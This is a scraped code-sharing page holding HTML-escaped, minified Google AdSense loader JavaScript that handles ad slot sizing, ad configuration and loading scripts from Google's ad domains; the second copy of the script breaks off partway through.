h=b.google_ad_height||0;e||&quot;html&quot;!=f&amp;&amp;null!=f||(e=g+&quot;x&quot;+h);f=!b.google_ad_slot||b.google_override_format||!xa[b.google_ad_width+&quot;x&quot;+b.google_ad_height]&amp;&amp;&quot;aa&quot;==b.google_loader_used;e&amp;&amp;f?e=e.toLowerCase():e=&quot;&quot;;b.google_ad_format=e;if(!r(b.google_reactive_sra_index)||!b.google_ad_unit_key){e=[b.google_ad_slot,b.google_orig_ad_format||b.google_ad_format,b.google_ad_type,b.google_orig_ad_width||b.google_ad_width,b.google_orig_ad_height||b.google_ad_height];f=[];g=0;for(h=c;h&amp;&amp;25&gt;g;h=h.parentNode,++g)f.push(9!==h.nodeType&amp;&amp;h.id||&quot;&quot;);(f=f.join())&amp;&amp;e.push(f);b.google_ad_unit_key=ob(e.join(&quot;:&quot;)).toString();e=[];for(f=0;c&amp;&amp;25&gt;f;++f){g=(g=9!==c.nodeType&amp;&amp;c.id)?&quot;/&quot;+g:&quot;&quot;;a:{if(c&amp;&amp;c.nodeName&amp;&amp;c.parentElement){h=c.nodeName.toString().toLowerCase();for(var k=c.parentElement.childNodes,m=0,n=0;n&lt;k.length;++n){var p=k[n];if(p.nodeName&amp;&amp;p.nodeName.toString().toLowerCase()===h){if(c===p){h=&quot;.&quot;+m;break a}++m}}}h=&quot;&quot;}e.push((c.nodeName&amp;&amp;c.nodeName.toString().toLowerCase())+g+h);c=c.parentElement}c=e.join()+&quot;:&quot;;e=a;f=[];if(e)try{var q=e.parent;for(g=0;q&amp;&amp;q!==e&amp;&amp;25&gt;g;++g){var u=q.frames;for(h=0;h&lt;u.length;++h)if(e===u[h]){f.push(h);break}e=q;q=e.parent}}catch(J){}b.google_ad_dom_fingerprint=ob(c+f.join()).toString()}q=jg(b);u=ig(b);var z;b=b.google_ad_client;if(!Ge)b:{c=kb();for(e=0;e&lt;c.length;e++)try{if(z=c[e].frames.google_esf){Ge=z;break b}}catch(J){}Ge=null}Ge?z=&quot;&quot;:(z={style:&quot;display:none&quot;},/[^a-z0-9-]/.test(b)?z=&quot;&quot;:(z[&quot;data-ad-client&quot;]=De(b),z.id=&quot;google_esf&quot;,z.name=&quot;google_esf&quot;,z.src=Yf(zb(),[&quot;/pagead/html/&quot;,ub(),&quot;/r20170110/zrt_lookup.html#&quot;].join(&quot;&quot;)),z=Ig(z)));b=z;z=B(a,L.u)||B(a,L.U)||B(a,L.I)||B(a,L.J);c=B(a,L.I)||B(a,L.J)||B(a,je.u);e=va;f=(new Date).getTime();a.google_t12n_vars=Td;g=a;g=Eb(Db(g))||g;g=g.google_unique_id;B(a,je.u)?(h=&quot;&lt;&quot;+Z+&quot;&gt;window.google_process_slots=function(){window.google_sa_impl({iframeWin: window, pubWin: window.parent});&quot;+(&quot;};&lt;/&quot;+Z+&quot;&gt;&quot;),k=Fg(),h+=k):h=B(a,L.m)?Fg(&quot;/show_ads_impl.js?&quot;+L.m):B(a,L.u)||B(a,L.U)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl.call(&quot;+(&quot;this, window, document, location);&lt;/&quot;+Z+&quot;&gt;&quot;):B(a,L.I)||B(a,L.J)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent});&lt;/&quot;+Z+&quot;&gt;&quot;:B(a,me.u)?Fg(&quot;/show_ads_impl_le.js&quot;):B(a,me.m)?Fg(&quot;/show_ads_impl_le_c.js&quot;):Fg();q=[&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;,b,&quot;&lt;&quot;+Z+&quot;&gt;&quot;,q,&quot;google_sailm=&quot;+c+&quot;;&quot;,z?&quot;google_sl_win=window.parent;&quot;:&quot;&quot;,&quot;google_unique_id=&quot;+(&quot;number&quot;===typeof g?g:0)+&quot;;&quot;,&#039;google_async_iframe_id=&quot;&#039;+d+&#039;&quot;;&#039;,&quot;google_start_time=&quot;+e+&quot;;&quot;,u?&#039;google_pub_vars=&quot;&#039;+u+&#039;&quot;;&#039;:&quot;&quot;,&quot;google_bpp=&quot;+(f&gt;e?f-e:1)+&quot;;&quot;,&quot;google_async_rrc=0;google_iframe_start_time=new Date().getTime();&quot;,&quot;&lt;/&quot;+Z+&quot;&gt;&quot;,h,&quot;&lt;/body&gt;&lt;/html&gt;&quot;].join(&quot;&quot;);b=a.document.getElementById(d)?Vf:Wf;d=Hg(a,d,q,!0);z?(a.google_sa_queue=a.google_sa_queue||[],a.google_sa_impl?b(d):a.google_sa_queue.push(d)):b(d)},Lg=function(a,b){var c=navigator;a&amp;&amp;b&amp;&amp;c&amp;&amp;(a=a.document,b=De(b),/[^a-z0-9-]/.test(b)||((c=Ja(&quot;r20160913&quot;))&amp;&amp;(c+=&quot;/&quot;),lb(a,Yf(&quot;pagead2.googlesyndication.com&quot;,&quot;/pub-config/&quot;+c+b+&quot;.js&quot;))))};var Mg=function(a,b,c){for(var d=a.attributes,e=d.length,f=0;f&lt;e;f++){var g=d[f];if(/data-/.test(g.name)){var h=Ja(g.name.replace(&quot;data-matched-content&quot;,&quot;google_content_recommendation&quot;).replace(&quot;data&quot;,&quot;google&quot;).replace(/-/g,&quot;_&quot;));if(!b.hasOwnProperty(h)){g=g.value;var k={};k=(k.google_reactive_ad_format=za,k.google_allow_expandable_ads=tb,k);g=k.hasOwnProperty(h)?k[h](g,null):g;null===g||(b[h]=g)}}}if(c.document&amp;&amp;c.document.body&amp;&amp;!Lf(b)&amp;&amp;!b.google_reactive_ad_format&amp;&amp;(d=parseInt(a.style.width,10),e=Xf(a,c),0&lt;e&amp;&amp;d&gt;e))if(f=parseInt(a.style.height,10),d=!!xa[d+&quot;x&quot;+f],B(c,fe.Y))b.google_ad_resize=0;else{h=e;if(d)if(g=ya(e,f))h=g,b.google_ad_format=g+&quot;x&quot;+f+&quot;_0ads_al&quot;;else throw Error(&quot;TSS=&quot;+e);b.google_ad_resize=1;b.google_ad_width=h;d||(b.google_ad_format=null,b.google_override_format=!0);e=h;a.style.width=e+&quot;px&quot;;f=Cf(e,&quot;auto&quot;,c,a,b);h=e;f.w.l(c,h,b,a);df(f,h,b);f=f.w;b.google_responsive_formats=null;f.minWidth()&gt;e&amp;&amp;!d&amp;&amp;(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+&quot;px&quot;)}d=b.google_reactive_ad_format;if(!b.google_enable_content_recommendations||1!=d&amp;&amp;2!=d){d=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0);a:if(e=ta(Cf,d,&quot;auto&quot;,c,a,b,!0),f=B(c,&quot;182982000&quot;),h=B(c,&quot;182982100&quot;),(f||h)&amp;&amp;ef()&amp;&amp;!b.google_reactive_ad_format&amp;&amp;!Lf(b)){for(h=a;h;h=h.parentElement){if(k=g=y(h,c)){b:if(g=g.position,k=[&quot;static&quot;,&quot;relative&quot;],na(k))g=na(g)&amp;&amp;1==g.length?k.indexOf(g,0):-1;else{for(var m=0;m&lt;k.length;m++)if(m in k&amp;&amp;k[m]===g){g=m;break b}g=-1}k=0&lt;=g}if(!k)break a}b.google_resizing_allowed=!0;f?(f={},df(e(),d,f),b.google_resizing_width=f.google_ad_width,b.google_resizing_height=f.google_ad_height):b.google_ad_format=&quot;auto&quot;}if(d=Lf(b))e=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0),f=(f=Mf(d,e,a,b,c))?f:Cf(e,b.google_ad_format,c,a,b,b.google_resizing_allowed),f.w.l(c,e,b,a),df(f,e,b),1!=d&amp;&amp;(b=f.w.height(),a.style.height=b+&quot;px&quot;);else{if(!rb.test(b.google_ad_width)&amp;&amp;!qb.test(a.style.width)||!rb.test(b.google_ad_height)&amp;&amp;!qb.test(a.style.height)){if(d=y(a,c))a.style.width=d.width,a.style.height=d.height,Je(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;d=Db(c);b.google_responsive_auto_format=d?d.data&amp;&amp;&quot;rspv&quot;==d.data.autoFormat?13:14:12}else Je(a.style,b),b.google_ad_output&amp;&amp;&quot;html&quot;!=b.google_ad_output||300!=b.google_ad_width||250!=b.google_ad_height||(d=a.style.width,a.style.width=&quot;100%&quot;,e=a.offsetWidth,a.style.width=d,b.google_available_width=e);C(c,&quot;153762914&quot;)||C(c,&quot;153762975&quot;)||C(c,&quot;164692081&quot;)||Of(c)?(b.google_resizing_allowed=!1,d=!0):d=!1;if(d&amp;&amp;(e=a.parentElement)){d=b.google_ad_format;if(f=Nf.test(d)||!d){f=Rb(c);if(!(h=null==f||b.google_reactive_ad_format)){h=I(f);if(!(f=!(488&gt;h&amp;&amp;320&lt;h)||!(f.innerHeight&gt;=f.innerWidth)||Oe(e,c)))a:{b:{f=e;for(h=0;100&gt;h&amp;&amp;f;h++){if((g=y(f,c))&amp;&amp;-1!=g.display.indexOf(&quot;table&quot;)){f=!0;break b}f=f.parentElement}f=!1}if(f)for(f=e,h=!1,g=0;100&gt;g&amp;&amp;f;g++){k=f.style;if(&quot;auto&quot;==k.margin||&quot;auto&quot;==k.marginLeft||&quot;auto&quot;==k.marginRight)h=!0;if(h){f=!0;break a}f=f.parentElement}f=!1}h=f}f=(h?!1:!0)&amp;&amp;Le(a,c)}if(f&amp;&amp;(f=a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,h=I(c))&amp;&amp;(g=y(e,c))&amp;&amp;(g=Te(g,h,f),m=g.pa,k=g.direction,g=g.la,!(5&gt;g||.4&lt;g/h))){g=b.google_resizing_allowed=!0;if(C(c,&quot;164692081&quot;)||Of(c))g=Pe(e,c);e=-1*(Se(e)+m)+&quot;px&quot;;if(C(c,&quot;153762975&quot;)||Of(c))&quot;rtl&quot;==k?a.style.marginRight=e:a.style.marginLeft=e,a.style.width=h+&quot;px&quot;,a.style.zIndex=1932735282;e=&quot;&quot;;k=parseInt(a.offsetHeight||a.style.height||b.google_ad_height,10);d&amp;&amp;(d=d.match(Nf),e=d[3],k=parseInt(d[2],10));g&amp;&amp;Of(c)&amp;&amp;(d=f/k,1.15&lt;d&amp;&amp;(Ke(a,c)&lt;rd(c).clientHeight||(k=3&gt;d?Math.round(5*h/6):Math.round(k*h/f))));if(C(c,&quot;153762975&quot;)||Of(c))b.google_ad_format=h+&quot;x&quot;+k+e,b.google_ad_width=h,b.google_ad_height=k,a.style.height=k+&quot;px&quot;;b.google_resizing_width=h;b.google_resizing_height=k}}C(c,ae.u)&amp;&amp;12==b.google_responsive_auto_format&amp;&amp;(b.efwr=Re(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b))}}else b.google_ad_width=I(c),b.google_ad_height=50,a.style.display=&quot;none&quot;};var Ng=!1,Og=0,Pg=!1,Qg=!1,Rg=function(a){return Qb.test(a.className)&amp;&amp;&quot;done&quot;!=a.getAttribute(&quot;data-adsbygoogle-status&quot;)},Tg=function(a,b){var c=window;a.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;done&quot;);Sg(a,b,c)},Sg=function(a,b,c){var d=Pb();d.google_spfd||(d.google_spfd=Mg);(d=b.google_reactive_ads_config)||Mg(a,b,c);if(!Ug(a,b,c)){if(d){if(Ng)throw new H(&quot;Only one &#039;enable_page_level_ads&#039; allowed per page.&quot;);Ng=!0}else b.google_ama||Mb(c);Pg||(Pg=!0,Lg(c,b.google_ad_client));Hb(hg,function(a,d){b[d]=b[d]||c[d]});b.google_loader_used=&quot;aa&quot;;b.google_reactive_tag_first=1===Og;if((d=b.google_ad_output)&amp;&amp;&quot;html&quot;!=d&amp;&amp;&quot;js&quot;!=d)throw new H(&quot;No support for google_ad_output=&quot;+d);ed(164,gd,function(){Kg(c,b,a)})}},Ug=function(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(pa(e)?e:{}).google_tag_origin}if(b.google_ama||&quot;js&quot;===b.google_ad_output)return!1;var g=b.google_ad_slot;e=c.google_ad_modifications;!e||Sb(e.ad_whitelist,g,f||b.google_tag_origin)?e=null:(f=e.space_collapsing||&quot;none&quot;,e=(g=Sb(e.ad_blacklist,g))?{ia:!0,ra:g.space_collapsing||f}:e.remove_ads_by_default?{ia:!0,ra:f}:null);if(e&amp;&amp;e.ia&amp;&amp;&quot;on&quot;!=b.google_adtest)return&quot;slot&quot;==e.ra&amp;&amp;(null!==sb(a.getAttribute(&quot;width&quot;))&amp;&amp;a.setAttribute(&quot;width&quot;,0),null!==sb(a.getAttribute(&quot;height&quot;))&amp;&amp;a.setAttribute(&quot;height&quot;,0),a.style.width=&quot;0px&quot;,a.style.height=&quot;0px&quot;),!0;if((e=y(a,c))&amp;&amp;&quot;none&quot;==e.display&amp;&amp;!(&quot;on&quot;==b.google_adtest||0&lt;b.google_reactive_ad_format||d))return c.document.createComment&amp;&amp;a.appendChild(c.document.createComment(&quot;No ad requested because of display:none on the adsbygoogle tag&quot;)),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&amp;&amp;8!==b.google_reactive_ad_format||!a?!1:(l.console&amp;&amp;l.console.warn(&quot;Adsbygoogle tag with data-reactive-ad-format=&quot;+b.google_reactive_ad_format+&quot; is deprecated. Check out page-level ads at https://www.google.com/adsense&quot;),!0)},Vg=function(a){for(var b=document.getElementsByTagName(&quot;ins&quot;),c=0,d=b[c];c&lt;b.length;d=b[++c]){var e=d;if(Rg(e)&amp;&amp;&quot;reserved&quot;!=e.getAttribute(&quot;data-adsbygoogle-status&quot;)&amp;&amp;(!a||d.id==a))return d}return null},Wg=function(a){if(!Qg){Qg=!0;try{var b=l.localStorage.getItem(&quot;google_ama_config&quot;)}catch(da){b=null}try{var c=b?new oc(b?JSON.parse(b):null):null}catch(da){c=null}if(b=c)if(c=ec(b,pc,3),!c||E(c,1)&lt;=+new Date)try{l.localStorage.removeItem(&quot;google_ama_config&quot;)}catch(da){kd(l,{lserr:1})}else try{var d=dc(b,5);if(0&lt;d.length){var e=new rc,f=d||[];2&lt;e.v?e.l[2+e.s]=f:(bc(e),e.o[2]=f);var g=e}else b:{f=l.location.pathname;var h=fc(b,rc,7);e={};for(d=0;d&lt;h.length;++d){var k=E(h[d],1);r(k)&amp;&amp;!e[k]&amp;&amp;(e[k]=h[d])}for(var m=f.replace(/(^\/)|(\/$)/g,&quot;&quot;);;){var n=ob(m);if(e[n]){g=e[n];break b}if(!m){g=null;break b}m=m.substring(0,m.lastIndexOf(&quot;/&quot;))}}var p;if(p=g)a:{var q=dc(g,2);if(q)for(g=0;g&lt;q.length;g++)if(1==q[g]){p=!0;break a}p=!1}if(p){var u=new Kd;(new Od(new Gd(a,b),u)).start();var z=u.l;var J=ta(Rd,l);if(z.ca)throw Error(&quot;Then functions already set.&quot;);z.ca=ta(Qd,l);z.sa=J;Md(z)}}catch(da){kd(l,{atf:-1})}}},Xg=function(){var a=document.createElement(&quot;ins&quot;);a.className=&quot;adsbygoogle&quot;;a.style.display=&quot;none&quot;;return a},Yg=function(a){var b={};Hb(Tb,function(c,d){!1===a.enable_page_level_ads?b[d]=!1:a.hasOwnProperty(d)&amp;&amp;(b[d]=a[d])});pa(a.enable_page_level_ads)&amp;&amp;(b.page_level_pubvars=a.enable_page_level_ads);var c=Xg();wa.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);Tg(c,d)},Zg=function(a){var b=Rb(window);if(!b)throw new H(&quot;Page-level tag does not work inside iframes.&quot;);b.google_reactive_ads_global_state||(b.google_reactive_ads_global_state=new Sd);b.google_reactive_ads_global_state.wasPlaTagProcessed=!0;wa.body?Yg(a):Bb(wa,&quot;DOMContentLoaded&quot;,fd(191,function(){Yg(a)}))},ah=function(a){var b={};ed(165,hd,function(){$g(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})},$g=function(a,b){va=(new Date).getTime();a:{if(void 0!=a.enable_page_level_ads){if(na(a.google_ad_client)){var c=!0;break a}throw new H(&quot;&#039;google_ad_client&#039; is missing from the tag config.&quot;)}c=!1}if(c)0===Og&amp;&amp;(Og=1),Wg(a.google_ad_client),Zg(a);else{0===Og&amp;&amp;(Og=2);c=a.element;(a=a.params)&amp;&amp;Hb(a,function(a,c){b[c]=a});if(&quot;js&quot;===b.google_ad_output){l.google_ad_request_done_fns=l.google_ad_request_done_fns||[];l.google_radlink_request_done_fns=l.google_radlink_request_done_fns||[];if(b.google_ad_request_done){if(&quot;function&quot;!=t(b.google_ad_request_done))throw new H(&quot;google_ad_request_done parameter must be a function.&quot;);l.google_ad_request_done_fns.push(b.google_ad_request_done);delete b.google_ad_request_done;b.google_ad_request_done_index=l.google_ad_request_done_fns.length-1}else throw new H(&quot;google_ad_request_done parameter must be specified.&quot;);if(b.google_radlink_request_done){if(&quot;function&quot;!=t(b.google_radlink_request_done))throw new H(&quot;google_radlink_request_done parameter must be a function.&quot;);l.google_radlink_request_done_fns.push(b.google_radlink_request_done);delete b.google_radlink_request_done;b.google_radlink_request_done_index=l.google_radlink_request_done_fns.length-1}a=Xg();l.document.documentElement.appendChild(a);c=a}if(c){if(!Rg(c)&amp;&amp;(c.id?c=Vg(c.id):c=null,!c))throw new H(&quot;&#039;element&#039; has already been filled.&quot;);if(!(&quot;innerHTML&quot;in c))throw new H(&quot;&#039;element&#039; is not a good DOM element.&quot;)}else if(c=Vg(),!c)throw new H(&quot;All ins elements in the DOM with class=adsbygoogle already have ads in them.&quot;);Tg(c,b)}},ch=function(){dd();ed(166,id,bh)},bh=function(){var a=Eb(Db(v))||v;Be(a);ad(B(v,ee.B)||B(v,ce.B)||B(v,ce.da));Gg();if(B(v,ne.ha)||B(v,ne.Z)||B(v,ne.ga)||B(v,ne.fa))zg(),wg(&quot;.google.co.id&quot;)&amp;&amp;(X[1]=&quot;.google.co.id&quot;),B(v,ne.Z)?(a=cb(),Cg(a),Bg(a)):Bg(null);if((a=window.adsbygoogle)&amp;&amp;a.shift)try{for(var b,c=20;0&lt;a.length&amp;&amp;(b=a.shift())&amp;&amp;0&lt;c;)ah(b),--c}catch(d){throw window.setTimeout(ch,0),d}if(!a||!a.loaded){B(v,pe.u)&amp;&amp;(b=qd()?Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;):zb(),tg(Pb().document,b,&quot;preconnect&quot;));window.adsbygoogle={push:ah,loaded:!0};a&amp;&amp;dh(a.onload);try{Object.defineProperty(window.adsbygoogle,&quot;onload&quot;,{set:dh})}catch(d){}}},dh=function(a){Jb(a)&amp;&amp;window.setTimeout(a,0)};ch()}).call(this)

    From user edipurmail

  • edipurmail / scriptadsbygoogle.js

    unknown-21-m, <script> //&lt;![CDATA[ (function(){var aa=&quot;function&quot;==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},ba;if(&quot;function&quot;==typeof Object.setPrototypeOf)ba=Object.setPrototypeOf;else{var ca;a:{var ea={a:!0},fa={};try{fa.__proto__=ea;ca=fa.a;break a}catch(a){}ca=!1}ba=ca?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+&quot; is not extensible&quot;);return a}:null}var ha=ba,ia=function(a,b){a.prototype=aa(b.prototype);a.prototype.constructor=a;if(ha)ha(a,b);else for(var c in b)if(&quot;prototype&quot;!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&amp;&amp;Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ea=b.prototype},ja=&quot;function&quot;==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&amp;&amp;a!=Object.prototype&amp;&amp;(a[b]=c.value)},ka=&quot;undefined&quot;!=typeof window&amp;&amp;window===this?this:&quot;undefined&quot;!=typeof global&amp;&amp;null!=global?global:this,la=function(a,b){if(b){var c=ka;a=a.split(&quot;.&quot;);for(var d=0;d&lt;a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&amp;&amp;null!=b&amp;&amp;ja(c,a,{configurable:!0,writable:!0,value:b})}},ma=&quot;function&quot;==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&amp;&amp;(a[e]=d[e])}return a};la(&quot;Object.assign&quot;,function(a){return a||ma});la(&quot;Number.isNaN&quot;,function(a){return a?a:function(a){return&quot;number&quot;===typeof a&amp;&amp;isNaN(a)}});var l=this,na=function(a){return&quot;string&quot;==typeof a},r=function(a){return&quot;number&quot;==typeof a},oa=function(){},t=function(a){var b=typeof a;if(&quot;object&quot;==b)if(a){if(a instanceof Array)return&quot;array&quot;;if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if(&quot;[object Window]&quot;==c)return&quot;object&quot;;if(&quot;[object Array]&quot;==c||&quot;number&quot;==typeof a.length&amp;&amp;&quot;undefined&quot;!=typeof a.splice&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;splice&quot;))return&quot;array&quot;;if(&quot;[object Function]&quot;==c||&quot;undefined&quot;!=typeof a.call&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;call&quot;))return&quot;function&quot;}else return&quot;null&quot;;else if(&quot;function&quot;==b&amp;&amp;&quot;undefined&quot;==typeof a.call)return&quot;object&quot;;return b},pa=function(a){var b=typeof a;return&quot;object&quot;==b&amp;&amp;null!=a||&quot;function&quot;==b},qa=function(a,b,c){return a.call.apply(a.bind,arguments)},ra=function(a,b,c){if(!a)throw Error();if(2&lt;arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},sa=function(a,b,c){Function.prototype.bind&amp;&amp;-1!=Function.prototype.bind.toString().indexOf(&quot;native code&quot;)?sa=qa:sa=ra;return sa.apply(null,arguments)},ta=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}},ua=function(a,b){function c(){}c.prototype=b.prototype;a.Ea=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Fa=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e&lt;arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}};var va=(new Date).getTime();var wa=document,v=window;var xa={&quot;120x90&quot;:!0,&quot;160x90&quot;:!0,&quot;180x90&quot;:!0,&quot;200x90&quot;:!0,&quot;468x15&quot;:!0,&quot;728x15&quot;:!0},ya=function(a,b){if(15==b){if(728&lt;=a)return 728;if(468&lt;=a)return 468}else if(90==b){if(200&lt;=a)return 200;if(180&lt;=a)return 180;if(160&lt;=a)return 160;if(120&lt;=a)return 120}return null};var za=function(a,b){a=parseInt(a,10);return isNaN(a)?b:a},Aa=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/,Ba=function(a,b){return a?(a=a.match(Aa))?a[0]:b:b};var Ca=za(&quot;468&quot;,0);var Da=function(a,b){for(var c=a.length,d=na(a)?a.split(&quot;&quot;):a,e=0;e&lt;c;e++)e in d&amp;&amp;b.call(void 0,d[e],e,a)},Ea=function(a){return Array.prototype.concat.apply([],arguments)};var Fa=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};var Ha=function(){this.j=&quot;&quot;;this.l=Ga};Ha.prototype.na=!0;Ha.prototype.aa=function(){return this.j};var Ia=function(a){if(a instanceof Ha&amp;&amp;a.constructor===Ha&amp;&amp;a.l===Ga)return a.j;t(a);return&quot;type_error:TrustedResourceUrl&quot;},Ga={};var Ja=function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]},Ra=function(a){if(!Ka.test(a))return a;-1!=a.indexOf(&quot;&amp;&quot;)&amp;&amp;(a=a.replace(La,&quot;&amp;amp;&quot;));-1!=a.indexOf(&quot;&lt;&quot;)&amp;&amp;(a=a.replace(Ma,&quot;&amp;lt;&quot;));-1!=a.indexOf(&quot;&gt;&quot;)&amp;&amp;(a=a.replace(Na,&quot;&amp;gt;&quot;));-1!=a.indexOf(&#039;&quot;&#039;)&amp;&amp;(a=a.replace(Oa,&quot;&amp;quot;&quot;));-1!=a.indexOf(&quot;&#039;&quot;)&amp;&amp;(a=a.replace(Pa,&quot;&amp;#39;&quot;));-1!=a.indexOf(&quot;\x00&quot;)&amp;&amp;(a=a.replace(Qa,&quot;&amp;#0;&quot;));return a},La=/&amp;/g,Ma=/&lt;/g,Na=/&gt;/g,Oa=/&quot;/g,Pa=/&#039;/g,Qa=/\x00/g,Ka=/[\x00&amp;&lt;&gt;&quot;&#039;]/,Sa={&quot;\x00&quot;:&quot;\\0&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\x0B&quot;,&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;&lt;&quot;:&quot;&lt;&quot;},Ta={&quot;&#039;&quot;:&quot;\\&#039;&quot;},Ua=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};var Wa=function(){this.ba=&quot;&quot;;this.wa=Va};Wa.prototype.na=!0;Wa.prototype.aa=function(){return this.ba};var Xa=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,Va={},Ya=function(a){var b=new Wa;b.ba=a;return b};Ya(&quot;about:blank&quot;);var Za;a:{var $a=l.navigator;if($a){var ab=$a.userAgent;if(ab){Za=ab;break a}}Za=&quot;&quot;}var w=function(a){return-1!=Za.indexOf(a)};var bb=function(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}},cb=function(){var a=oa;return function(){if(a){var b=a;a=null;b()}}};var eb=function(a){db();var b=new Ha;b.j=a;return b},db=oa;var fb=function(a){fb[&quot; &quot;](a);return a};fb[&quot; &quot;]=oa;var gb=w(&quot;Opera&quot;),hb=-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;);var ib=/^[\w+/_-]+[=]{0,2}$/,jb=function(){var a=l.document.querySelector(&quot;script[nonce]&quot;);if(a&amp;&amp;(a=a.nonce||a.getAttribute(&quot;nonce&quot;))&amp;&amp;ib.test(a))return a};var x=function(a){try{var b;if(b=!!a&amp;&amp;null!=a.location.href)a:{try{fb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}},kb=function(a,b){var c=[l.top],d=[],e=0;b=b||1024;for(var f;f=c[e++];){a&amp;&amp;!x(f)||d.push(f);try{if(f.frames)for(var g=f.frames.length,h=0;h&lt;g&amp;&amp;c.length&lt;b;++h)c.push(f.frames[h])}catch(k){}}return d},lb=function(a,b){var c=a.createElement(&quot;script&quot;);b=eb(b);c.src=Ia(b);(a=a.getElementsByTagName(&quot;script&quot;)[0])&amp;&amp;a.parentNode&amp;&amp;a.parentNode.insertBefore(c,a)},y=function(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle},mb=function(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}},nb=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&amp;&amp;b.call(void 0,a[c],c,a)},ob=function(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d&lt;b;d++)c^=(c&lt;&lt;5)+(c&gt;&gt;2)+a.charCodeAt(d)&amp;4294967295;return 0&lt;c?c:4294967296+c},pb=bb(function(){return-1!=Za.indexOf(&quot;Google Web Preview&quot;)||1E-4&gt;Math.random()}),qb=/^([0-9.]+)px$/,rb=/^(-?[0-9.]{1,30})$/,sb=function(a){return rb.test(a)&amp;&amp;(a=Number(a),!isNaN(a))?a:null},tb=function(a,b){return b?!/^false$/.test(a):/^true$/.test(a)},A=function(a){return(a=qb.exec(a))?+a[1]:null};var ub=function(){return&quot;r20180214&quot;},vb=tb(&quot;false&quot;,!1),wb=tb(&quot;false&quot;,!1),xb=tb(&quot;false&quot;,!1),yb=xb||!wb;var zb=function(){return Ba(&quot;&quot;,&quot;googleads.g.doubleclick.net&quot;)};var Ab=function(a){this.j=a||l.document||document};var Bb=function(a,b,c){a.addEventListener?a.addEventListener(b,c,void 0):a.attachEvent&amp;&amp;a.attachEvent(&quot;on&quot;+b,c)},Cb=function(a,b,c){a.removeEventListener?a.removeEventListener(b,c,void 0):a.detachEvent&amp;&amp;a.detachEvent(&quot;on&quot;+b,c)};var Db=function(a){a=a||l;var b=a.context;if(!b)try{b=a.parent.context}catch(c){}try{if(b&amp;&amp;&quot;pageViewId&quot;in b&amp;&amp;&quot;canonicalUrl&quot;in b)return b}catch(c){}return null},Eb=function(a){a=a||Db();if(!a)return null;a=a.master;return x(a)?a:null};var Fb=function(a,b){l.google_image_requests||(l.google_image_requests=[]);var c=l.document.createElement(&quot;img&quot;);if(b){var d=function(a){b(a);Cb(c,&quot;load&quot;,d);Cb(c,&quot;error&quot;,d)};Bb(c,&quot;load&quot;,d);Bb(c,&quot;error&quot;,d)}c.src=a;l.google_image_requests.push(c)};var Gb=Object.prototype.hasOwnProperty,Hb=function(a,b){for(var c in a)Gb.call(a,c)&amp;&amp;b.call(void 